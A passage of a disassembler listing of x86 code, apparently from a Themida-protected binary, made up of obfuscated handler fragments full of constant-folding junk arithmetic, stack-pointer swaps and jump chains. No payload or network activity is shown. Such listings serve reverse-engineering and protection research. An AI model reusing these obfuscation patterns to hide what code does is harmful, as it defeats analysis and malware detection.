loc_58761A:				; CODE XREF: sub_58F6F1+A2Fj
		mov	edx, [esp+12h+var_14+2]
		push	ecx
		jmp	loc_5893E0
; ---------------------------------------------------------------------------


loc_587623:				; CODE XREF: sub_584787+1CDBj
		sub	dl, bl
		pop	ebx
		pop	eax
		shl	dl, 7
		add	dl, 12h
		jmp	loc_584BEB
; ---------------------------------------------------------------------------


loc_587632:				; CODE XREF: sub_584787+869Dj
		xor	eax, 12D86D98h
		add	eax, 0AED3239Ah
		sub	ecx, eax
		pop	eax
		add	ecx, 0FFFFFFFFh
		add	ecx, 6CBFA3D1h
		push	eax
		mov	eax, 0EDC7F700h
		sub	ecx, eax
		pop	eax
		sub	eax, 13A6343Dh
		sub	eax, ecx
		add	eax, 13A6343Dh
		pop	ecx
		push	458h
		jmp	loc_587CEC
; ---------------------------------------------------------------------------


loc_587668:				; CODE XREF: sub_584787+65A8j
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_5892E6
; ---------------------------------------------------------------------------


loc_587673:				; CODE XREF: sub_584787+1590j
		push	ebx
		mov	ebx, 58B07C6Fh
		sub	ebx, 27785586h
		add	ebx, 62182E0Ah
		sub	ebx, 0A5F74B3h
		sub	ebx, 6EC640A8h
		add	ebx, 0E86BCA98h
		push	ebx
		xchg	eax, [esp+0]
		not	eax
		jmp	loc_58ED61
; ---------------------------------------------------------------------------


loc_5876A2:				; CODE XREF: sub_584787+8573j
		or	edx, 4AEC545Fh
		sub	edx, 89BFE7D1h
		xor	edi, edx
		pop	edx
		shr	edi, 2
		add	edi, 1C66391Ch
		add	edi, 0C649AF3Dh
		add	ebx, edi
		jmp	loc_58C220
; ---------------------------------------------------------------------------


loc_5876C7:				; CODE XREF: sub_584787+236Bj
		sub	ebx, 71A668DCh
		jmp	loc_58C7A9
; ---------------------------------------------------------------------------


loc_5876D2:				; DATA XREF: Themida_:00584338o
		mov	cx, word ptr [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], edi
		push	1196h
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_58A3FE
; ---------------------------------------------------------------------------


loc_5876F3:				; CODE XREF: sub_584787+5301j
		mov	esi, 583541C1h
		sub	esi, 40920CD8h
		or	esi, 5277846h
		add	esi, 87340CDh
		shr	esi, 8
		shr	esi, 7
		and	esi, 42987D32h
		sub	esi, 0EC5DFE12h
		mov	edx, esi
		pop	esi
		dec	edx
		or	edx, 559E38EDh
		shl	edx, 2
		xor	edx, 2AC6322Fh
		jmp	loc_58AA6A
; ---------------------------------------------------------------------------


loc_587734:				; CODE XREF: sub_584787+8E23j
		pop	ebx
		neg	dl
		jmp	loc_58DC27
; ---------------------------------------------------------------------------


loc_58773C:				; CODE XREF: sub_584787+A545j
		push	5FF5h
		mov	[esp+0], ecx
		push	ebp
		mov	ebp, 661D37C4h
		push	ecx
		mov	ecx, 5DAF53F6h
		sub	ebp, ecx
		pop	ecx
		sub	ebp, 20D80893h
		push	esi
		mov	esi, 47FB76DDh
		or	ebp, esi
		pop	esi
		dec	ebp
		add	ebp, 91386FC4h
		and	ebp, 2E184C89h
		sub	ebp, 13693946h
		jmp	loc_58FB4E
; ---------------------------------------------------------------------------


loc_58777A:				; CODE XREF: sub_584787+3C78j
		pop	esi
		jmp	loc_58B610
; ---------------------------------------------------------------------------


loc_587780:				; CODE XREF: sub_584787+9A7j
		xor	[esp+30h+var_30], esi
		xor	esi, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		push	738h
		mov	[esp+34h+var_34], ecx
		mov	cl, dl
		push	5D54h
		mov	[esp+38h+var_38], edx
		jmp	sub_58F6F1
; ---------------------------------------------------------------------------


loc_5877A0:				; CODE XREF: sub_584787+928Aj
		push	ebx
		push	edx
		mov	dl, 26h
		jmp	loc_58D785
; ---------------------------------------------------------------------------


loc_5877A9:				; DATA XREF: Themida_:00584204o
		mov	cx, word ptr [esp+40h+var_42+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 11525DC9h
		add	esi, 2DE72366h
		add	esi, 0E5B1AFFh
		push	edi
		jmp	loc_58C4DD
; ---------------------------------------------------------------------------


loc_5877CE:				; CODE XREF: sub_584787+8826j
		xor	[esp+4Ch+var_4E+2], ebx
		xor	ebx, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		mov	[esp+4Ch+var_4E+2], ebx
		jmp	loc_587EB0
; ---------------------------------------------------------------------------


loc_5877DF:				; CODE XREF: sub_584787+11C4j
		add	ebx, 4
		jmp	loc_587828
; ---------------------------------------------------------------------------


loc_5877EA:				; CODE XREF: sub_584787+4207j
		add	ebp, 6D63AF7h
		sub	ebp, 50F227A8h
		xor	ebp, 0D64EB7BDh
		and	edi, ebp
		pop	ebp
		jmp	loc_5871E1
; ---------------------------------------------------------------------------


loc_587804:				; CODE XREF: sub_584787+3BAEj
		mov	[esp-0Ch+arg_8], edx
		mov	dl, 0F9h
		push	ebx
		jmp	loc_587FFB
; ---------------------------------------------------------------------------


loc_58780F:				; CODE XREF: sub_584787+9D24j
		mov	ecx, [esp-8+arg_4]
		push	ebp
		jmp	loc_58E502
; ---------------------------------------------------------------------------


loc_587818:				; CODE XREF: sub_584787+7932j
		mov	ecx, 3E1E53F8h
		add	ecx, 0C1E1A807h
		jmp	loc_58E984
; ---------------------------------------------------------------------------


loc_587828:				; CODE XREF: sub_584787+305Ej
		add	ebx, 4
		jmp	loc_589A38
; ---------------------------------------------------------------------------


loc_587833:				; CODE XREF: sub_584787+913j
		mov	ebp, 4
		sub	ecx, 4D976524h
		add	ecx, ebp
		add	ecx, 4D976524h
		jmp	loc_588D23
; ---------------------------------------------------------------------------


loc_58784B:				; CODE XREF: sub_584787+7692j
		push	ecx
		push	7EA8h
		mov	[esp+38h+var_38], ebp
		mov	ebp, 0E480497h
		push	ebx
		mov	ebx, 45744F4Ah
		add	ebp, ebx
		pop	ebx
		xor	ebp, 5B210405h
		jmp	loc_589CD1
; ---------------------------------------------------------------------------


loc_58786D:				; CODE XREF: sub_584787+71B0j
		add	edi, eax
		pop	eax
		xchg	edi, [esp+34h+var_34]
		jmp	loc_58EED2
; ---------------------------------------------------------------------------


loc_587878:				; CODE XREF: sub_584787+3C53j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+38h+var_38]
		jmp	loc_58E6CA
; ---------------------------------------------------------------------------


loc_58788C:				; CODE XREF: sub_584787+87B5j
		add	esi, 4
		push	eax
		push	esi
		mov	esi, 0B4C2D3Eh
		jmp	loc_58F8C7
; ---------------------------------------------------------------------------


loc_58789E:				; DATA XREF: Themida_:005842D8o
		mov	cx, word ptr [esp+40h+var_42+2]
		push	14E0h
		mov	[esp+44h+var_46+2], edi
		sub	esp, 4
		push	esp
		pop	[esp+4Ch+var_4E+2]
		add	dword ptr [esp+0], 4
		mov	edi, [esp+0]
		jmp	loc_58A7B0
; ---------------------------------------------------------------------------


loc_5878C0:				; CODE XREF: sub_584787+77F6j
		add	eax, 30BE5F25h
		add	eax, edi
		sub	esp, 4
		mov	[esp+4Ch+var_4E+2], edx
		mov	edx, 30BE5F25h
		sub	eax, edx
		pop	edx
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp+0]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_585B8F
; ---------------------------------------------------------------------------


loc_5878EC:				; CODE XREF: sub_584787+9D47j
		sub	bl, 4Eh
		jmp	loc_58C215
; ---------------------------------------------------------------------------


loc_5878F4:				; CODE XREF: sub_584787+46BDj
		sub	eax, 4D444BCEh
		pop	edi
		jmp	loc_586540
; ---------------------------------------------------------------------------


loc_5878FF:				; CODE XREF: sub_584787+852Ej
		mov	ecx, 21B27447h
		shl	ecx, 1
		inc	ecx
		inc	ecx
		jmp	loc_58BD12
; ---------------------------------------------------------------------------


loc_58790D:				; CODE XREF: sub_584787+5AF7j
		add	dword ptr [esp+0], 2C861353h
		jmp	loc_589F8F
; ---------------------------------------------------------------------------


loc_587919:				; CODE XREF: sub_584787+96E0j
		not	ebx
		and	ebx, 5CDE4679h
		push	ebp
		mov	ebp, 1879508Fh
		xor	ebx, ebp
		pop	ebp
		xor	esi, ebx
		pop	ebx
		xor	esi, 30F54F8Dh
		or	edi, esi
		pop	esi
		xor	edi, 0D3B05013h
		mov	eax, edi
		pop	edi
		sub	eax, 1
		xor	eax, 63E01292h
		jmp	loc_588E49
; ---------------------------------------------------------------------------


loc_58794E:				; DATA XREF: Themida_:00584418o
		mov	eax, [esp+3Ch+var_3C]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58BDB8
; ---------------------------------------------------------------------------


loc_58795F:				; CODE XREF: sub_584787+AA53j
		mov	ebx, 1782235Dh
		or	ebx, 3D52691Ch
		sub	ebx, 251327C7h
		add	ebx, 0FFFFFFFFh
		not	ebx
		add	ebx, 7D0F9990h
		add	eax, ebx
		mov	ebx, [esp+40h+var_42+2]
		add	esp, 4
		push	edx
		push	77A3h
		mov	[esp+44h+var_46+2], eax
		mov	eax, 5124021Ch
		jmp	loc_58DDF5
; ---------------------------------------------------------------------------


loc_587996:				; CODE XREF: sub_584787+BCA0j
		push	9A0h
		mov	[esp+0], edi
		mov	edi, 2473329Eh
		sub	edx, edi
		pop	edi
		add	edx, ebp
		add	edx, 2473329Eh
		pop	ebp
		mov	ecx, [edx]
		pop	edx
		pop	ebx
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		push	5D9h
		mov	[esp+40h+var_42+2], edi
		xor	[esp+40h+var_42+2], 6F4A026Bh
		jmp	loc_58C4FA
; ---------------------------------------------------------------------------


loc_5879D0:				; CODE XREF: sub_584787+1A9Dj
		not	eax
		not	eax
		xor	eax, 44C0CB44h
		add	esi, eax
		pop	eax
		pop	ebx
		pop	edx
		jmp	loc_589C56
; ---------------------------------------------------------------------------


loc_5879E3:				; CODE XREF: sub_584787+1E19j
		mov	edx, [esp+0]
		push	esi
		mov	esi, esp
		jmp	loc_5898D2
; ---------------------------------------------------------------------------


loc_5879EE:				; CODE XREF: sub_584787+3DC9j
		add	eax, ebx
		pop	ebx
		add	eax, 4
		jmp	loc_588F46
; ---------------------------------------------------------------------------


loc_5879FB:				; CODE XREF: sub_584787+8957j
		not	dword ptr [esp+0]
		pop	edi
		xor	edi, 4EF94097h
		not	edi
		jmp	loc_58897F
; ---------------------------------------------------------------------------


loc_587A0C:				; CODE XREF: sub_584787+184Bj
		add	esp, 4
		push	63F6h
		jmp	loc_589D79
; ---------------------------------------------------------------------------


loc_587A1C:				; CODE XREF: sub_584787+BD66j
		pop	edx
		and	ch, bh
		pop	bx
		push	edx
		push	ebx
		jmp	loc_5855F5
; ---------------------------------------------------------------------------


loc_587A28:				; CODE XREF: sub_584787+560Fj
		sub	esi, ebp
		mov	ebp, [esp-0Eh+arg_8+2]
		jmp	loc_58F34E
; ---------------------------------------------------------------------------


loc_587A32:				; CODE XREF: sub_584787+7ACBj
		mov	eax, esp
		add	eax, 4
		jmp	loc_58BEDB
; ---------------------------------------------------------------------------


loc_587A3E:				; CODE XREF: sub_584787+A298j
		pop	esp
		sub	dh, 93h
		xor	dh, ah
		xor	ah, dh
		xor	dh, ah
		sub	ah, 1
		xchg	ah, dh
		add	dh, 41h
		xor	al, dh
		jmp	loc_58D114
; ---------------------------------------------------------------------------


loc_587A57:				; DATA XREF: Themida_:00584250o
		mov	cx, word ptr [esp-12h+arg_E]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 39245B35h
		dec	esi
		sub	esi, 56506044h
		shr	esi, 8
		push	ebp
		mov	ebp, 1
		jmp	loc_58B7E1
; ---------------------------------------------------------------------------


loc_587A7F:				; CODE XREF: sub_584787+4FB8j
		add	ecx, 4
		xchg	ecx, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_586E89
; ---------------------------------------------------------------------------


loc_587A8E:				; CODE XREF: sub_584787+8Cj
		push	ecx
		mov	ecx, 3C4924AEh
		mov	edx, 8798A3E2h
		sub	edx, ecx
		pop	ecx
		sub	eax, edx
		pop	edx
		add	eax, 3A6D5A0Fh
		push	43D0h
		mov	[esp+14h+var_14], ecx
		mov	ecx, 24E2506Ah
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		push	ebp
		mov	ebp, 45C63B3Eh
		dec	ebp
		dec	ebp
		shl	ebp, 4
		push	ebp
		not	[esp+20h+var_20]
		jmp	loc_587E9E
; ---------------------------------------------------------------------------


loc_587ACE:				; CODE XREF: sub_584787+395Dj
		mov	edx, 1A1768h
		push	eax
		mov	eax, 5E94827h
		sub	edx, 5127284Fh
		sub	edx, eax
		add	edx, 5127284Fh
		pop	eax
		shr	edx, 4
		dec	edx
		xor	edx, 68900BBBh
		add	edx, 0F96472Ch
		jmp	loc_586A04
; ---------------------------------------------------------------------------


loc_587AFD:				; CODE XREF: sub_584787+B142j
		pop	esi
		not	eax
		xor	eax, 3C0E2508h
		or	eax, 4A39061Bh
		jmp	loc_58D145
; ---------------------------------------------------------------------------


loc_587B0F:				; CODE XREF: sub_584787+5CEDj
		mov	ebp, 85D6F14h
		jmp	loc_58B661
; ---------------------------------------------------------------------------


loc_587B19:				; CODE XREF: sub_584787+4FECj
		push	ecx
		jmp	loc_58962F
; ---------------------------------------------------------------------------


loc_587B1F:				; CODE XREF: sub_584787+3911j
		sub	esp, 4
		jmp	loc_585D84
; ---------------------------------------------------------------------------


loc_587B27:				; CODE XREF: sub_584787+3BCj
		pop	eax
		push	edi
		push	ebp
		mov	ebp, 4501701h
		not	ebp
		push	ebx
		mov	ebx, 555D00F6h
		or	ebp, ebx
		pop	ebx
		jmp	loc_58C8AE
; ---------------------------------------------------------------------------


loc_587B3F:				; CODE XREF: sub_584787+BE87j
		add	ebp, 6C2961DCh
		pop	edx
		jmp	sub_5906EA
; ---------------------------------------------------------------------------


loc_587B4B:				; CODE XREF: sub_584787+880Ej
		shr	edx, 3
		push	esi
		mov	esi, 7E88586Ah
		add	esi, 6F7805DAh
		xor	esi, 98C15C87h
		jmp	loc_5905EC
; ---------------------------------------------------------------------------


loc_587B65:				; CODE XREF: sub_584787+3BDCj
		push	eax
		jmp	loc_58BF0B
; ---------------------------------------------------------------------------


loc_587B6B:				; CODE XREF: sub_584787+9A61j
		push	ebx
		mov	bh, 97h
		add	bh, 0ADh
		jmp	loc_58E257
; ---------------------------------------------------------------------------


loc_587B76:				; CODE XREF: sub_584787+277j
		mov	esi, 4
		add	[esp+22h+var_20+2], esi
		pop	esi
		pop	edx
		add	edx, 4
		jmp	loc_58B74F
; ---------------------------------------------------------------------------


loc_587B8C:				; DATA XREF: Themida_:00584428o
		mov	cx, word ptr [esp+1Ah+var_1C+2]
		jmp	loc_58A051
; ---------------------------------------------------------------------------


loc_587B95:				; CODE XREF: sub_584787+483Aj
		mov	[esp+1Ah+var_1C+2], eax
		push	esp
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
		jmp	loc_587C42
; ---------------------------------------------------------------------------


loc_587BA4:				; CODE XREF: sub_584787+5DF0j
		pop	cx
		inc	dh
		dec	dh
		jmp	loc_587459
; ---------------------------------------------------------------------------


loc_587BAF:				; CODE XREF: sub_584787+459Ej
		mov	ebx, 4
		jmp	loc_584E1B
; ---------------------------------------------------------------------------


loc_587BB9:				; CODE XREF: sub_584787+C3Aj
		mov	ebp, 722461F7h
		mov	ebx, 766C7D7Eh
		xor	ebx, ebp
		pop	ebp
		not	ebx
		xor	ebx, 7B76601Eh
		add	ebx, 8A110828h
		sub	edx, 488A74C7h
		add	edx, ebx
		add	edx, 488A74C7h
		jmp	loc_58895C
; ---------------------------------------------------------------------------


loc_587BE7:				; CODE XREF: sub_584787+9F24j
		pop	edx
		push	esi
		jmp	loc_58D402
; ---------------------------------------------------------------------------


loc_587BEE:				; CODE XREF: sub_584787+3ABAj
		pop	ebp
		add	esp, 4
		sub	[edi+24h], ecx
		pop	ecx


loc_587BF9:				; CODE XREF: sub_584787+11ACj
		push	3B23h
		jmp	loc_58AA12
; ---------------------------------------------------------------------------


loc_587C03:				; CODE XREF: sub_584787+B114j
		xor	ecx, 1A4BADC6h
		add	eax, ecx
		pop	ecx
		pop	ecx
		push	2BFBh
		mov	[esp+4+var_4], edi
		mov	edi, 55A01CC5h
		push	edx
		jmp	loc_585A54
; ---------------------------------------------------------------------------


loc_587C20:				; CODE XREF: sub_584787+280Dj
		and	ebx, eax
		pop	eax
		not	ebx
		shr	ebx, 4
		xor	ebx, 0EF77AF8h
		push	ebx
		push	ecx
		mov	ecx, 77194729h
		jmp	loc_5895F5
; ---------------------------------------------------------------------------


loc_587C3A:				; CODE XREF: sub_584787+921Bj
		shl	ch, 7
		jmp	loc_5882CA
; ---------------------------------------------------------------------------


loc_587C42:				; CODE XREF: sub_584787+3418j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_586610
; ---------------------------------------------------------------------------


loc_587C55:				; CODE XREF: sub_584787+652j
		mov	ch, 2Dh
		jmp	loc_58D9A0
; ---------------------------------------------------------------------------


loc_587C5C:				; CODE XREF: sub_584787+152Fj
		not	ebx
		shr	ebx, 3
		push	eax
		jmp	loc_586F8F
; ---------------------------------------------------------------------------


loc_587C67:				; CODE XREF: sub_584787+734j
		push	[esp+3Ch+var_3C]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_585731
; ---------------------------------------------------------------------------


loc_587C79:				; CODE XREF: sub_584787+70A5j
		mov	esp, [esp+40h+var_42+2]
		jmp	loc_58A439
; ---------------------------------------------------------------------------


loc_587C81:				; CODE XREF: sub_584787+925Ej
		sub	cl, 98h
		add	bl, cl
		pop	ecx
		add	bl, 58h
		add	bl, ah
		sub	bl, 58h
		sub	bl, 0A8h
		push	[esp+3Ch+var_3C]
		pop	eax
		jmp	loc_58EE6A
; ---------------------------------------------------------------------------


loc_587C9B:				; CODE XREF: sub_584787+28D9j
		mov	edx, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	ecx
		push	165F1FD0h
		pop	ecx
		neg	ecx
		shr	ecx, 1
		sub	ecx, 2FA138B4h
		add	ecx, 292022FEh
		mov	edi, ecx
		jmp	loc_588085
; ---------------------------------------------------------------------------


loc_587CC8:				; CODE XREF: sub_584787+B54j
		push	[esp+4Ah+var_46]
		pop	ecx
		pop	dword ptr [esp+0]
		pop	esp
		jmp	loc_5905A8
; ---------------------------------------------------------------------------


loc_587CD6:				; CODE XREF: sub_584787+8A97j
		add	ebp, ebx
		jmp	loc_58D2A8
; ---------------------------------------------------------------------------


loc_587CDD:				; CODE XREF: sub_584787+ADE1j
		pop	bp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_584717
; ---------------------------------------------------------------------------


loc_587CEC:				; CODE XREF: sub_584787+2EDCj
		mov	[esp+0], esi
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_58FF7F
; ---------------------------------------------------------------------------


loc_587CFE:				; CODE XREF: sub_584787+40A2j
		mov	ebx, 4
		push	ebp
		mov	ebp, 408826BCh
		add	edx, ebp
		pop	ebp
		sub	edx, 79042320h
		sub	edx, ebx
		add	edx, 79042320h
		jmp	loc_58BC08
; ---------------------------------------------------------------------------


loc_587D1F:				; CODE XREF: sub_584787+631j
		push	edx
		jmp	loc_585D25
; ---------------------------------------------------------------------------


loc_587D25:				; CODE XREF: sub_584787+A040j
		mov	ecx, 65065045h
		sub	ecx, 2FF93922h
		or	ecx, 4BEC66DAh
		or	ecx, 48D1763Bh
		add	ecx, 0F435A6D4h
		add	[esp+10h+var_C], 48C12319h
		sub	[esp+10h+var_C], ecx
		jmp	loc_58E3CA
; ---------------------------------------------------------------------------


loc_587D53:				; CODE XREF: sub_584787+8BC2j
		pop	edx
		sub	al, 0ADh
		add	al, ch
		add	al, 0ADh
		jmp	loc_584FF7
; ---------------------------------------------------------------------------


loc_587D5F:				; DATA XREF: Themida_:00584298o
		mov	cx, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_58ADCC
; ---------------------------------------------------------------------------


loc_587D6E:				; CODE XREF: sub_584787+1EB2j
		xor	esi, 46C10A4Ah
		xor	esi, 13710DA4h
		sub	esi, 48134A39h
		not	esi
		shl	esi, 4
		xor	esi, 45724ED1h
		add	eax, esi
		pop	esi
		add	eax, esi
		sub	eax, 33724341h
		mov	esi, [esp+58h+var_58]
		jmp	loc_5847EE
; ---------------------------------------------------------------------------


loc_587D9D:				; CODE XREF: sub_584787+C30j
		shl	ebx, 4
		sub	ebx, 0F8E2465Eh
		mov	edi, ebx
		pop	ebx
		jmp	loc_58C243
; ---------------------------------------------------------------------------


loc_587DAE:				; CODE XREF: sub_584787+2D70j
		pop	ebx
		jmp	loc_585899
; ---------------------------------------------------------------------------


loc_587DB4:				; CODE XREF: sub_584787+80EAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+40h+var_42+2]
		pop	esp
		mov	[esp+3Ch+var_3C], eax
		push	50441F6Eh
		pop	eax
		add	eax, 0AFBBE093h
		push	eax
		push	esi
		mov	esi, 1DE83071h
		add	[esp+44h+var_42+2], esi
		pop	esi
		pop	edx
		sub	edx, 1DE83071h
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		and	eax, edx
		push	[esp+38h+var_38]
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		push	ecx
		jmp	loc_5884DC
; ---------------------------------------------------------------------------


loc_587E02:				; CODE XREF: sub_584787+109Cj
		push	ebp
		jmp	loc_58A503
; ---------------------------------------------------------------------------


loc_587E08:				; CODE XREF: sub_584787+B1B1j
		push	0
		sub	[esp+24h+var_26+2], esi
		jmp	loc_58A2BB
; ---------------------------------------------------------------------------


loc_587E15:				; CODE XREF: sub_584787+6E2Cj
		mov	[esp+24h+var_26+2], ecx
		push	ebp
		push	27EB2EA7h
		jmp	loc_5844E2
; ---------------------------------------------------------------------------


loc_587E23:				; CODE XREF: sub_584787+9B15j
		add	[esp+4], esi
		pop	esi
		pop	ebp
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 4
		add	ebp, 11E02A7Dh
		add	ebp, eax
		sub	ebp, 11E02A7Dh
		pop	eax
		jmp	loc_58D11E
; ---------------------------------------------------------------------------


loc_587E48:				; CODE XREF: sub_584787+A59j
		pop	esp
		rol	word ptr [esp+42h+var_42], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_587E53:				; CODE XREF: sub_584787+3BC1j
		pop	ecx
		add	ecx, edi
		pop	edi
		add	ecx, 4
		xchg	ecx, [esp+0]
		pop	esp
		sub	edx, 92A3E89h
		add	edx, eax
		add	edx, 92A3E89h
		add	edx, 4C3C49E1h
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_587E7A:				; CODE XREF: sub_584787+67F5j
		push	7FF1h
		mov	[esp+0], ecx
		push	23FB6300h
		jmp	loc_58CA08
; ---------------------------------------------------------------------------


loc_587E8C:				; CODE XREF: sub_584787+BD0j
		mov	[esp+52h+var_54+2], ebp
		mov	ebp, 8C694Bh
		sub	[esp+52h+var_4E], ebp
		pop	ebp
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_587E9E:				; CODE XREF: sub_584787+3342j
		pop	ebp
		shr	ebp, 6
		add	ebp, 0FD718ED0h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_585C1F
; ---------------------------------------------------------------------------


loc_587EB0:				; CODE XREF: sub_584787+3053j
		mov	bh, 0FDh
		jmp	loc_589094
; ---------------------------------------------------------------------------


loc_587EB7:				; CODE XREF: sub_584787+899Bj
		push	dword ptr [esp+4]
		jmp	loc_587ECB
; ---------------------------------------------------------------------------


loc_587EC0:				; CODE XREF: sub_584787+291Cj
		push	eax
		mov	eax, 8122AB04h
		jmp	loc_584D88
; ---------------------------------------------------------------------------


loc_587ECB:				; CODE XREF: sub_584787+3734j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_58E27B
; ---------------------------------------------------------------------------


loc_587ED9:				; CODE XREF: sub_584787+4D36j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp+0]
		pop	esp
		mov	ax, word ptr [esp+44h+var_46+2]
		push	1DD2h
		mov	[esp+0], esi
		push	2991h
		mov	[esp+4Ch+var_4E+2], esp
		add	[esp+4Ch+var_4E+2], 4
		jmp	loc_586B1D
; ---------------------------------------------------------------------------


loc_587F00:				; CODE XREF: sub_584787+6FC3j
		mov	[esp+4Ch+var_4E+2], esi
		push	eax
		mov	eax, 22156FF7h
		xor	eax, 22156FF5h
		jmp	loc_58CDCC
; ---------------------------------------------------------------------------


loc_587F13:				; CODE XREF: sub_584787+94ACj
		pop	eax
		shl	cl, 4
		jmp	loc_588A51
; ---------------------------------------------------------------------------


loc_587F1C:				; CODE XREF: sub_584787+45DEj
		push	6C29h
		mov	[esp+0], eax
		sub	esp, 4
		jmp	loc_58A6F9
; ---------------------------------------------------------------------------


loc_587F2F:				; CODE XREF: sub_5900B2-B93j
		push	[esp+54h+var_54]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp+54h+var_54], edi
		mov	edi, 55443B84h
		or	edi, 3D110D91h
		shr	edi, 2
		add	edi, 0E0AAB01Dh
		sub	esi, edi
		pop	edi
		jmp	loc_58D58D
; ---------------------------------------------------------------------------


loc_587F58:				; CODE XREF: sub_584787+27ABj
		xchg	ecx, ebp
		add	ebp, 805B6801h
		sub	edi, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		xor	edi, 5FA03077h
		push	esi
		mov	esi, 18605BCEh
		or	edi, esi
		mov	esi, [esp+1Ch+var_1C]
		add	esp, 4
		sub	edi, 0BD745BCAh
		add	ebx, edi
		pop	edi
		add	ebx, 4
		push	1886h
		mov	[esp+18h+var_18], ebx
		push	[esp+18h+var_14]
		pop	ebx
		pop	[esp+18h+var_18]
		pop	esp
		mov	eax, [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_585DB5
; ---------------------------------------------------------------------------


loc_587FB2:				; CODE XREF: sub_584787+4C54j
		add	eax, edx
		add	eax, 14521D8Eh
		push	828h
		mov	[esp+18h+var_18], ebp
		mov	ebp, 512D1F80h
		shl	ebp, 7
		xor	ebp, 5D1873D6h
		shl	ebp, 3
		add	ebp, 0F118C676h
		sub	eax, ebp
		pop	ebp
		pop	edx
		push	ecx
		mov	ecx, 482A74FCh
		shl	ecx, 8
		sub	ecx, 0D502920h
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		mov	edx, 0
		jmp	loc_58ED8A
; ---------------------------------------------------------------------------


loc_587FFB:				; CODE XREF: sub_584787+3083j
		mov	bl, 5Eh
		add	al, 83h
		push	7447h
		mov	[esp-4+arg_0], ebx
		mov	bl, 18h
		not	bl
		xor	bl, 1Bh
		sub	bl, 4Ah
		xor	bl, 0E2h
		jmp	loc_584DCE
; ---------------------------------------------------------------------------


loc_588019:				; CODE XREF: sub_584787+42FCj
		sub	al, bl
		sub	al, 0D4h
		jmp	loc_58A0F5
; ---------------------------------------------------------------------------


loc_588022:				; CODE XREF: sub_584787+BB55j
		add	esp, 4
		add	eax, 4
		add	eax, 4
		jmp	loc_58506C
; ---------------------------------------------------------------------------


loc_588037:				; CODE XREF: sub_584787+506Fj
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp+0]
		jmp	loc_58CE29
; ---------------------------------------------------------------------------


loc_58804A:				; CODE XREF: sub_584787+AD5Bj
		pop	esp
		push	ebx
		mov	ebx, 50490557h
		and	edi, ebx
		pop	ebx
		xor	edi, 7E8C6572h
		sub	ebx, edi
		pop	edi
		sub	ebx, eax
		add	ebx, 6E8C6162h
		pop	dword ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58806C:				; CODE XREF: sub_584787+2BE1j
		xchg	ecx, [esp+0]
		mov	esp, [esp+0]
		btr	[esp+0], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58807D:				; CODE XREF: sub_584787+8010j
		add	esp, 4
		jmp	loc_58B829
; ---------------------------------------------------------------------------


loc_588085:				; CODE XREF: sub_584787+353Cj
		pop	ecx
		push	edx
		mov	edx, 86A4245h
		inc	edx
		jmp	loc_584F59
; ---------------------------------------------------------------------------


loc_588092:				; CODE XREF: sub_584787+896Fj
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		pop	ebx
		jmp	loc_587B1F
; ---------------------------------------------------------------------------


loc_58809D:				; CODE XREF: sub_584787+AA40j
		xor	edi, 62E4518Ah
		sub	esp, 4
		mov	[esp-4+arg_0], ebx
		mov	ebx, 3E396A68h
		sub	ebx, 39F139C3h
		shr	ebx, 7
		jmp	loc_58E666
; ---------------------------------------------------------------------------


loc_5880BF:				; CODE XREF: sub_584787+2455j
		shl	ebp, 6
		jmp	loc_58EC6C
; ---------------------------------------------------------------------------


loc_5880C7:				; CODE XREF: sub_584787+39A1j
		pop	ebx
		xor	eax, [esp+18h+var_18]
		xor	[esp+18h+var_18], eax
		xor	eax, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		shr	[esp+18h+var_18], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_5880DD:				; CODE XREF: sub_584787+5533j
		sub	ebp, 0FDB7CC43h
		push	edx
		jmp	loc_587ACE
; ---------------------------------------------------------------------------


loc_5880E9:				; CODE XREF: sub_584787+1BF4j
		add	edx, 0F0548C7h
		add	edx, esi
		sub	edx, 0F0548C7h
